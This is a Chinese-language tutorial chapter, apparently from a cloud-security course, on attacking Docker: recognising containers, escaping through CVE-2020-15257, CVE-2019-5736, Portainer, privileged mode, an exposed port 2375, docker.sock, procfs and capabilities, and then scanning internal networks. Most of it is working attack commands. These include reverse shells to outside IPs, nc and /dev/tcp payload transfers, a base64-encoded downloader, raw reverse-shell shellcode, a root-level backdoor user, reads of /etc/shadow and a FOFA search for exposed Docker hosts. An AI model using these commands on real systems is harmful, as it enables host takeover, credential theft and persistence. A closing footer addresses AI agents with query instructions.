# Docker常见攻击方式

#### Docker安全基础 <a href="#toc890676569" id="toc890676569"></a>

**攻击模型**

<figure><img src="/files/3kV0eX88Lf5hWHeSYtQc" alt=""><figcaption></figcaption></figure>

* &#x20;应用攻击容器，常规漏洞打进来就是容器
* &#x20;容器攻击其它容器，在容器中进行横向渗透
* &#x20;容器攻击宿主机，这种属于逃逸
* &#x20;主机攻击容器，本机、或其它主机

**Control Group**

命名空间用于隔离，那么控制组就是用于限额。

容器之间是互相隔离的，但却共享OS资源，比如CPU、RAM以及IO。CGroup允许用户设置限制，这样单个容器就不能占用主机的CPU、RAM等资源了。

**Capability**

以root身份运行容器不是很安全，root拥有全部的权限，因此很危险，如果以非root身份运行容器那么将处处受，所以需要一种技术，能选择容器运行所需的root用户权限。

在底层，Linux root由许多能力组成，包括以下几点：

* &#x20;CAP\_CHOWN - 允许用户修改文件所有权
* &#x20;CAP\_NET\_BIND\_SERVICE - 允许用户将socket绑定到系统端口号
* &#x20;CAP\_SETUID - 允许用户提升进程优先级
* &#x20;CAP\_SYS\_BOOT - 允许用户重启系统

**漏洞环境**

研究漏洞时，我们经常会发现环境搭建会占用大量的时间，与之相比，真正测试PoC、 ExP的时间可能非常短，所以这里推荐这个项目用于平常练习：

```bash
https://github.com/Metarget/metarget
```

目前只支持：Ubuntu18.04

```bash
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5
 
#安装cve-2020-15257漏洞环境
./metarget cnv install cve-2020-15257
 
#启动漏洞环境
sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
 
#安装privileged-container环境
./metarget cnv install privileged-container
 
#k8s启动进入容器
kubectl exec -it -n metarget privileged-container /bin/bash
```

**识别容器**

* &#x20;ls -alh /.dockerenv（较为常用）

> /.dockerenv是所有容器中都会存在这个文件，这个文件曾是LCX用于环境变量加载到容器中，现在容器不再使用LCX所以内容为空，通过这种方式来识别当前环境是否在容器中。

&#x20;

* &#x20;cat /proc/1/cgroup |grep "docker"

> 为了限制容器的资源，Docker为每个容器创建了一个控制组以及一个名为docker的父控制组，如果某个进程在Docker容器中启动，则该进程将必须在该容器控制中，所以通过查看初始进程的cgroup来验证是否为容器。

* &#x20;ps aux

> 在容器中不会看到关于init或者systemd进程，而且查看进程相当的少

&#x20;

* &#x20;程序缺失

> Docker的镜像会尽可能的小，只保留一些必要的库，而一些像常用的命令都没有
>
> 像程序缺失造成无法继续其它操作时，先判断docker能否上网，如果能够上网就自行安装，像centos7使用yum，Ubuntu使用apt-get，alpine使用apk、Busybox

&#x20;

关于容器蜜罐

确实有部分蜜罐通过容器来构建，所以当拿下一个Shell时发现是容器，怀疑是蜜罐的话，可以通过这几个方面来确认：

* &#x20;mount #挂载目录情况
* &#x20;df -h #查看磁盘大小

所以就算是蜜罐，也会存在被逃逸。

小故事：在某次攻防演练中，某个同事通过Shiro拿到Shell交由内网的同事，但由于对容器等方面研究不够，看到内核为Alpine认为是蜜罐直接放弃。但靓仔的做事风格是，不能轻易相信别人说的话，所以亲自测试发现蜜罐可被逃逸可横向渗透。

**Docker渗透工具**

CDK是一款为容器环境定制的渗透测试工具，在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式，插件化管理。

{% embed url="<https://github.com/cdk-team/CDK/wiki/CDK-Home-CN>" %}

#### Docker逃逸 <a href="#toc1640075593" id="toc1640075593"></a>

容器逃逸我总结为三个方面：

* &#x20;容器自身漏洞
* &#x20;配置不当：Capabilities、特权模式
* &#x20;Kernel Vulnerabilities

**容器漏洞**

**CVE-2020-15257**

containerd-shim是守护进程的作用，shim职责是保持所有STDIN和STDOUT流是开启状态

containerd-shim是运行容器的载体,每一个容器对应一个containerd-shim进程,其父进程为containerd

![](/files/KrLntEDTDqptE4tiDo0J)&#x20;

在Containerd 1.3.9版本之前和1.4.0\~1.4.2，使用了--host网络模式，会造成containerd-shim API暴露，通过调用API功能实现逃逸。

此模式直接使用宿主机网卡和IP地址，导致容器与宿主机共享一套Network Namespace，使containerd-shim API暴露了出来。

Host模式特点：

* 共享宿主机网络
* 网络性能无损耗
* 各容器网络无隔离
* 网络资源无法分别统计
* 端口管理困难
* 不支持端口映射

安装漏洞环境

```bash
./metarget cnv install cve-2020-15257
```

启动漏洞环境

```bash
docker run -it --net=host --name=15257 ubuntu /bin/bash
```

判断是否使用host模式

```bash
cat /proc/net/unix | grep 'containerd-shim'
```

![](/files/wjpPdghuHwgJvTFmuZ6P)&#x20;

利用cdk工具自带exp逃逸，前提是需要出网，有webshell尽量用，没有使用此方法。

```bash
#公网机器开启NC
nc -lvp 999 < cdk
 
#容器运行写入
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk
 
#反弹宿主机的shell到远端服务器
./cdk_linux_amd64 run shim-pwn reverse 192.168.250.28 4455
```

<figure><img src="/files/e6EfXRcVIchWa42nJgdN" alt=""><figcaption></figcaption></figure>

注意：

如执行cdk反弹Shell出现如下错误：

{% code overflow="wrap" %}

```bash
rpc error: code = Unknown desc = OCI runtime create failed: exec: "runc": executable file not found in $PATH
```

{% endcode %}

解决：

```bash
ln -s /usr/sbin/runc /usr/sbin/docker-runc
```

&#x20;

**CVE-2019-5736**

{% embed url="<https://thinkycx.me/2019-05-23-CVE-2019-5736-docker-escape-recurrence.html>" %}

runC漏洞，前提条件是需要docker exec、attach时才会触发漏洞

攻击者可以修改runc的二进制文件导致提权，需要管理员执行exec才能触发，条件有限。

版本漏洞：

Docker version <=18.09.2

RunC version <=1.0-rc6

下载bash脚本，安装漏洞环境：

{% embed url="<https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/>" %}

安装Go

```bash
wget https://storage.googleapis.com/golang/go1.9.linux-amd64.tar.gz
tar xf go1.9.linux-amd64.tar.gz
mv go /usr/local
vim /etc/profile
export GOROOT=/usr/local/go
export GOPATH=$HOME/work
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
source  /etc/profile
go version
go env
```

下载POC

{% embed url="<https://github.com/Frichetten/CVE-2019-5736-PoC>" %}

编译

```bash
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将编译的main复制到docker容器中：
docker cp main name:/home
docker exec -it name bash
cd /home/
chmod 777 main
./main
```

此时等管理员进入容器将触发：

```bash
docker exec -it name /bin/bash
```

或者将POC中的获取/etc/shadow改为反弹Shell

改为反弹Shell，获得宿主机权限。

```bash
bash -i >& /dev/tcp/123.123.123.123/8080 0>& 1
```

<figure><img src="/files/NfTCZrcopcctbNwhAJAz" alt=""><figcaption></figcaption></figure>

**Portainer后台（逃逸）**

Portainer是一个可视化的容器镜像的图形管理工具，利用Portainer可以轻松构建，管理和维护Docker环境。 而且完全免费，基于容器化的安装方式，方便高效部署。

原理就是创建容器挂载宿主机目录，通过chroot切换Shell

后台没有默认帐号密码，当第一次登录系统会提示设置新密码。

进入容器中：

<figure><img src="/files/uX9a0EHLKi2tEfYjefay" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PlZ8I3G5tEhwrluvuB5k" alt=""><figcaption></figcaption></figure>

添加容器：

<figure><img src="/files/UijOoBK3oW0PQo9E6VpW" alt=""><figcaption></figcaption></figure>

填写内容：

境像随便找一个，

![](/files/9wQGXW7FiQQydAdPLwx8)&#x20;

重点是添加Volumes

<figure><img src="/files/fzBT6axEkUj9RmdZu0iX" alt=""><figcaption></figcaption></figure>

挂载根目录：

<figure><img src="/files/vdnG9mA3JuFDzpeF9Gec" alt=""><figcaption></figcaption></figure>

之后部署：

<figure><img src="/files/0kiRCaqoTGE7LayVmOlj" alt=""><figcaption></figcaption></figure>

部署成功后回到容器中：

进入到终端

<figure><img src="/files/iICnrqdUFtO2aCGcF8ky" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lbFIhPhXglOIlQUs3GPh" alt=""><figcaption></figcaption></figure>

在实战中往往创建一个容器启动不起来。

可以先进入Stacks进入到一个已启动的容器中：

从这里面挂载宿主根目录。

<figure><img src="/files/SXCRKj7ta6pw339cDpus" alt=""><figcaption></figcaption></figure>

回到Containers中，进入终端

<figure><img src="/files/mQWSrs465nDVQdPzOQht" alt=""><figcaption></figcaption></figure>

将/host目录设置为当前终端目录

```bash
chroot /host/ bash
```

<figure><img src="/files/kMKv9PyuG0SgTIghwaNF" alt=""><figcaption></figcaption></figure>

**配置不当**

**特权模式**

当容器启动加上--privileged选项时，容器可以访问宿主机上磁盘设备。

```bash
#启动一个特权容器
sudo docker run --rm --privileged -it ubuntu:18.04 bash
```

判断容器是否特权启动

{% code overflow="wrap" %}

```bash
#查看磁盘，默认情况下容器执行fdisk -l是无法查看
fdisk -l
 
#查看CapEff值，特权值为：0000003fffffffff
cat /proc/self/status | grep CapEff
 
#容器中没有capsh命令可以在其它机器上执行查看
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,35,36,37
```

{% endcode %}

挂载宿主机目录逃逸

```bash
#创建一个挂载目录
mkdir /tmp/hosts
 
#查看宿主机磁盘文件
fdisk -l
 
#挂载到创建的目录
mount /dev/sda1 /tmp/hosts/
cd /tmp/hosts/
 
#通过chroot切换bash
chroot ./ bash
```

实战场景：护网某银行上网设备

通过漏洞获取WebShell，查看根目录存在.dockerenv，可通过fdisk -l查看磁盘目录进行挂载目录逃逸:

```bash
#Webshell下操作
df -h
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
```

<figure><img src="/files/6IIO9tst1zS6E012wVy6" alt=""><figcaption></figcaption></figure>

本地追加添加用户，最后通过SSH进行远程连接：

{% code overflow="wrap" %}

```bash
#通过chroot切换bash添加用户
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/ccided ccided -p
\$6\$RFindqMa\$hSOW1eOSD0FEPCoxUWBMd5KNYEuoz2b0MxuSSUBcv0PA0V1bee62f/1q0TGTnEhJpTghBdBBGNoOo1fRk1BWS/
```

{% endcode %}

**2375端口利用**

在最初版本安装Docker时默认会把2375端口对外开放，目前默认只允许本地访问。

```bash
#开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375
--containerd=/run/containerd/containerd.sock
#探测是否访问未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.3.17:2375 info
 
#如果能访问，推荐使用这种方式，操作方便，和本地操作无差
export DOCKER_HOST="tcp://192.168.238.129:2375" 

#Metasploit也有此模块
Search docker
```

关注2375、2376端口，他们的区别是2375端口：表示未加密，2376端口：表示加密通讯

实际案例:

```bash
FOFA：port="2375" && country="CN" && "Docker"
```

&#x20;![](/files/PnilUxjzlJSfpGyzuKMS)

<figure><img src="/files/6AHIcxYH73QRkKThPxhw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/asUIOkuCeJXGLZCWTgk3" alt=""><figcaption></figcaption></figure>

利用容器创建一个拥有特权并且挂载宿主机/根目录的容器

```bash
#连接
export DOCKER_HOST="tcp://192.168.238.129:2375"
 
#创建一个容器并具备特殊和挂载宿主机目录
docker run --rm -it --privileged --net=host -v /:/tmp/docker alpine
cd /tmp/docker
 
#通过chroot切换bash
chroot ./ bash
cat /etc/shadow
```

**Docker Socket**

寻找docker.sock文件，利用此文件与宿主机建立交互。

有一定机率存在但不常用，看运气。

```bash
#查找docker.sock
find / -name docker.sock 2>/dev/null
 
#连接
docker -H unix:///run/docker.sock info
```

一般情况下没有docker客户端，如果出网直接在线安装：apt-get install docker.io

不出网利用cdk中的模块，通过本地unix socket向docker API发起自定义HTTP请求。

```bash
./cdk ucurl get /var/run/docker.sock http://127.0.0.1/info ""
```

**Procfs目录挂载逃逸**

procfs是一个伪文件系统，它动态反映着系统内进程及其他组件的状态

procfs中的/proc/sys/kernel/core\_pattern负责配置进程崩溃时内存转储数据的导出方式。从手册\[1]中我们能获得关于内存转储的详细信息，关键信息如下：

从2.6.19内核版本开始，Linux支持在/proc/sys/kernel/core\_pattern中使用新语法。如果该文件中的首个字符是管道符|，那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

环境准备：

{% code overflow="wrap" %}

```bash
#安装基础环境，安装过可以跳过
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic

#安装
./metarget cnv install mount-host-procfs

#启动容器
kubectl exec -it -n metarget mount-host-procfs /bin/bash

场景较少
#判断是否procfs是否可以逃逸
./cdk_linux_amd64 evaluate --full
 
#查看挂载路径
mount
 
#判断是否出网
./cdk_linux_amd64 run mount-procfs /host-proc "touch /tmp/success_proc"
 
#先尝试直接反弹Shell
./cdk_linux_amd64 run mount-procfs /host-proc "bash -i >& /dev/tcp/192.168.250.28/4242 0>&1"
 
#不能直接反弹Shell，将反弹shell下载到目录下执行
./cdk_linux_amd64 run mount-procfs /host-proc "curl http://192.168.238.159:8080/reshell -o /tmp/shell"
 
#无wget、curl下载文件
./cdk_linux_amd64 run mount-procfs /host-proc "echo
Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download"
 
#下载文件
./cdk_linux_amd64 run mount-procfs /host-proc "bash /root/download http://192.168.250.28:8000/reverse > /tmp/reverse"
 
./cdk_linux_386 run mount-procfs /host-proc "chmod +x /tmp/shell && nohup bash /tmp/shell&"
```

{% endcode %}

条件苛刻情况下，可以利用反弹Shell下载反弹Shell文件最后执行

**Capabilities**

Capabilities是Linux一种安全机制，是在Linux内核2.2之后引入的，主要作用权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。

目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities，再以白名单方式赋予容器运行所需的最小权限。

```bash
#查看Capabilities
cat /proc/self/status | grep CapEff
capsh --print
```

Evaluate: Commands and Capabilities

{% embed url="<https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities>" %}

检测容器内可用的linux命令以及linux capabilities，其中常用的linux命令如apt/yum, curl, wget, nc, python等会方便后续渗透流程，此外capabilities可以用于判断容器是否为特权容器，某些敏感的capabilities入CAP\_SYSADMIN, CAP\_NETADMIN, CAP\_PTRACE等也可用来进行容器逃逸。

**CAP\_SYS\_ADMIN**

漏洞环境：

{% code overflow="wrap" %}

```bash
docker run --rm -it --cap-add=CAP_SYS_ADMIN --security -opt apparmor=unconfined ubuntu /bin/bash 
```

{% endcode %}

设置后允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等

实际场景不多，逃逸方法参考挂载目录方式。

通过capsh查看：

```bash
capsh --print
```

<figure><img src="/files/nmx4PrXn3eXm2uk4dLaa" alt=""><figcaption></figcaption></figure>

容器目前是具备有管理功能，并且可以访问到宿主机上的磁盘

**SYS\_PTRACE**

实际场景不多

拥有SYS\_PTRACE权限可以通过进程注入达到逃逸

查找HTTP服务器的PID：ps -eaf

生成反弹shellcode

{% code overflow="wrap" %}

```bash
\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02 \x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x 0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x4 8\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05
```

{% endcode %}

进程注入程序：

<https://0x00sec.org/t/linux-infecting-running-processes/1097>

<https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c>

```bash
gcc inject.c -o inject
./inject 733
nc 172.17.0.1 5600
```

<figure><img src="/files/plL6gTSQy0agAUV72Kyk" alt=""><figcaption></figcaption></figure>

更多方式利用

[HackTricks Linux Capabilities](https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities)

#### Docker横向探测 <a href="#toc1797882306" id="toc1797882306"></a>

* &#x20;一般容器下 ping 、 vi 命令都没有，如果出网的情况下可以在线安装；
* &#x20;使用 Go 编译出来的程序， fscan 、 httpx 等相关工具都能在容器上使用；
* &#x20;busybox 是静态编译的，不依赖于系统的动态链接库，集成了三百多个Linux常用命令的工具，将busybox上传到容器中就可以支持大部分linux命令。
  * &#x20;下载地址：
  * &#x20;<https://www.busybox.net/downloads/binaries/1.30.0-i686/busybox>
* &#x20;与传统内网渗透无差别，只是环境受限。

<figure><img src="/files/ET0GGJoM8lbQxu5Wuvnt" alt=""><figcaption></figcaption></figure>

探测存活主机bash脚本：

```bash
#Bash，探测C段存活
mkdir -p /usr/tmp/
cat > ping.sh << EOF
#!/usr/bin/env bash
for ip in {1..254};do
    ./busybox ping -c1 -W1 10.244.0.\$ip|grep -q "ttl=" && echo "10.244.0.\$ip yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
EOF

#这样会把容器跑死，影响业务，要把wait去掉
cat > ping.sh << EOF
#!/usr/bin/env bash
for i in {1..254};do
    for j in {1..254};do
        ./busybox ping -c1 -W1 10.\$i.\$j.1|grep -q "ttl=" && echo "10.\$i.\$j.0/24 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
    done
done
wait
EOF
```

容器里面的网卡是不可信的，他只是k8s分配，还是需要探测10、172、192网段


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-liu-zhang-yun-yuan-sheng-gong-fang/docker-chang-jian-gong-ji-fang-shi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
